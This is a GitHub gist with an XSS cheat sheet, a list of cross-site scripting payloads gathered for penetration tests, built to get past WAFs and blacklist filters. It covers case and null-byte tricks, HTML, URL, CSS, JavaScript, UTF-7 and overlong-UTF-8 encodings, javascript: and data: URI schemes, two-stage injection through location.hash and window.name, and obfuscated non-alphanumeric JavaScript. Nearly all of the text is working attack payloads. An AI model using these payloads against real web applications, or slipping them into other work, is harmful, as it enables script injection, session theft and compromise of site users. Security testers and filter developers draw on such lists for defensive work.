Skip to content

Instantly share code, notes, and snippets.

@anuragtb

anuragtb/xss_cheatsheet.txt

Forked from ehsahil/xss_cheatsheet.txt
Created June 19, 2019 18:12
Show Gist options
  • Save anuragtb/92d74de6a66141842b5260aac9d7a1cb to your computer and use it in GitHub Desktop.
Save anuragtb/92d74de6a66141842b5260aac9d7a1cb to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @ngalongc ngalongc created this gist Mar 14, 2017.
    193 changes: 193 additions & 0 deletions xss_cheatsheet.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,193 @@
    _____ _ _ _ __ _______ _____ _____ _ _ _ _
    | __ \ | | | | | \ \ / / ___/ ___| / __ \ | | | | | | |
    | | \/ |__ ___| |_| |_ ___ \ V /\ `--.\ `--. | / \/ |__ ___ __ _| |_ ___| |__ ___ ___| |_
    | | __| '_ \ / _ \ __| __|/ _ \ / \ `--. \`--. \ | | | '_ \ / _ \/ _` | __/ __| '_ \ / _ \/ _ \ __|
    | |_\ \ | | | __/ |_| |_| (_) | / /^\ |\__/ /\__/ / | \__/\ | | | __/ (_| | |_\__ \ | | | __/ __/ |_
    \____/_| |_|\___|\__|\__|\___/ \/ \|____/\____/ \____/_| |_|\___|\__,_|\__|___/_| |_|\___|\___|\__|

    A ghetto collection of XSS payloads that I find to be useful during penetration tests, especially when faced with WAFs or application-based black-list filtering, but feel free to disagree or shoot your AK-74 in the air.

    Simple character manipulations.
    Note that I use hexadecimal to represent characters that you probably can't type. For example, \x00 equals a null byte, but you'll need to encode this properly depending on the context (URL encoding \x00 = %00).

    HaRdc0r3 caS3 s3nsit1vITy bYpa55!
    <sCrIpt>alert(1)</ScRipt>
    <iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>

    Null-byte character between HTML attribute name and equal sign (IE, Safari).
    <img src='1' onerror\x00=alert(0) />

    Slash character between HTML attribute name and equal sign (IE, Firefox, Chrome, Safari).
    <img src='1' onerror/=alert(0) />

    Vertical tab between HTML attribute name and equal sign (IE, Safari).
    <img src='1' onerror\x0b=alert(0) />

    Null-byte character between equal sign and JavaScript code (IE).
    <img src='1' onerror=\x00alert(0) />

    Null-byte character between characters of HTML attribute names (IE).
    <img src='1' o\x00nerr\x00or=alert(0) />

    Null-byte character before characters of HTML element names (IE).
    <\x00img src='1' onerror=alert(0) />

    Null-byte character after characters of HTML element names (IE, Safari).
    <script\x00>alert(1)</script>

    Null-byte character between characters of HTML element names (IE).
    <i\x00mg src='1' onerror=alert(0) />

    Use slashes instead of whitespace (IE, Firefox, Chrome, Safari).
    <img/src='1'/onerror=alert(0)>

    Use vertical tabs instead of whitespace (IE, Safari).
    <img\x0bsrc='1'\x0bonerror=alert(0)>

    Use quotes instead of whitespace in some situations (Safari).
    <img src='1''onerror='alert(0)'>
    <img src='1'"onerror="alert(0)">

    Use null-bytes instead of whitespaces in some situations (IE).
    <img src='1'\x00onerror=alert(0)>

    Just don't use spaces (IE, Firefox, Chrome, Safari).
    <img src='1'onerror=alert(0)>

    Prefix URI schemes.
    Firefox (\x09, \x0a, \x0d, \x20)
    Chrome (Any character \x01 to \x20)
    <iframe src="\x01javascript:alert(0)"></iframe> <!-- Example for Chrome -->

    No greater-than characters needed (IE, Firefox, Chrome, Safari).
    <img src='1' onerror='alert(0)' <

    Extra less-than characters (IE, Firefox, Chrome, Safari).
    <<script>alert(0)</script>

    Backslash character between expression and opening parenthesis (IE).
    <style>body{background-color:expression\(alert(1))}</style>

    JavaScript Escaping
    <script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>

    Encoding Galore.

    HTML Attribute Encoding
    <img src="1" onerror="alert(1)" />
    <img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
    <iframe src="javascript:alert(1)"></iframe>
    <iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"></iframe>

    URL Encoding
    <iframe src="javascript:alert(1)"></iframe>
    <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

    CSS Hexadecimal Encoding (IE specific examples)
    <div style="x:expression(alert(1))">Joker</div>
    <div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>
    <div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>
    <div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>

    JavaScript (hexadecimal, octal, and unicode)
    <script>document.write('<img src=1 onerror=alert(1)>');</script>
    <script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script>
    <script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script>
    <script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script>

    JavaScript (Decimal char codes)
    <script>document.write('<img src=1 onerror=alert(1)>');</script>
    <script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script>

    JavaScript (Unicode function and variable names)
    <script>alert(123)</script>
    <script>\u0061\u006C\u0065\u0072\u0074(123)</script>

    Overlong UTF-8 (SiteMinder is awesome!)
    < = %C0%BC = %E0%80%BC = %F0%80%80%BC
    > = %C0%BE = %E0%80%BE = %F0%80%80%BE
    ' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
    " = %C0%A2 = %E0%80%A2 = %F0%80%80%A2

    <img src="1" onnerror="alert(1)">
    %E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE

    UTF-7 (Missing charset?)
    <img src="1" onerror="alert(1)" />
    +ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-

    Unicode .NET Ugliness
    <script>alert(1)</script>
    %uff1cscript%uff1ealert(1)%uff1c/script%uff1e

    Classic ASP performs some unicode homoglyphic translations... don't ask why...
    <img src="1" onerror="alert('1')">
    %u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A

    Useless and/or Useful features.

    HTML 5 (Not comphrensive)
    <video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
    <video src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)" />

    Usuage of non-existent elements (IE)
    <blah style="blah:expression(alert(1))" />

    CSS Comments (IE)
    <div style="z:exp/*anything*/res/*here*/sion(alert(1))" />

    Alternate ways of executing JavaScript functions
    <script>window['alert'](0)</script>
    <script>parent['alert'](1)</script>
    <script>self['alert'](2)</script>
    <script>top['alert'](3)</script>

    Split up JavaScript into HTML attributes
    <img src=1 alt=al lang=ert onerror=top[alt+lang](0)>

    HTML is parsed before JavaScript
    <script>
    var junk = '</script><script>alert(1)</script>';
    </script>

    HTML is parsed before CSS
    <style>
    body { background-image:url('http://www.blah.com/</style><script>alert(1)</script>'); }
    </style>

    XSS in XML documents [doctype = text/xml] (Firefox, Chrome, Safari).
    <?xml version="1.0" ?>
    <someElement>
    <a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>
    </someElement>

    URI Schemes
    <iframe src="javascript:alert(1)"></iframe>
    <iframe src="vbscript:msgbox(1)"></iframe> (IE)
    <iframe src="data:text/html,<script>alert(0)</script>"></iframe> (Firefox, Chrome, Safari)
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> (Firefox, Chrome, Safari)

    HTTP Parameter Pollution
    http://target.com/something.xxx?a=val1&a=val2
    ASP.NET a = val1,val2
    ASP a = val1,val2
    JSP a = val1
    PHP a = val2

    Two Stage XSS via fragment identifier (bypass length restrictions / avoid server logging)
    <script>eval(location.hash.slice(1))</script>
    <script>eval(location.hash)</script> (Firefox)

    http://target.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)

    Two Stage XSS via name attribute
    <iframe src="http://target.com/something.jsp?inject=<script>eval(name)</script>" name="alert(1)"></iframe>

    Non-alphanumeric crazyness...
    <script>
    $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();
    </script>

    <script>
    (+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
    </script>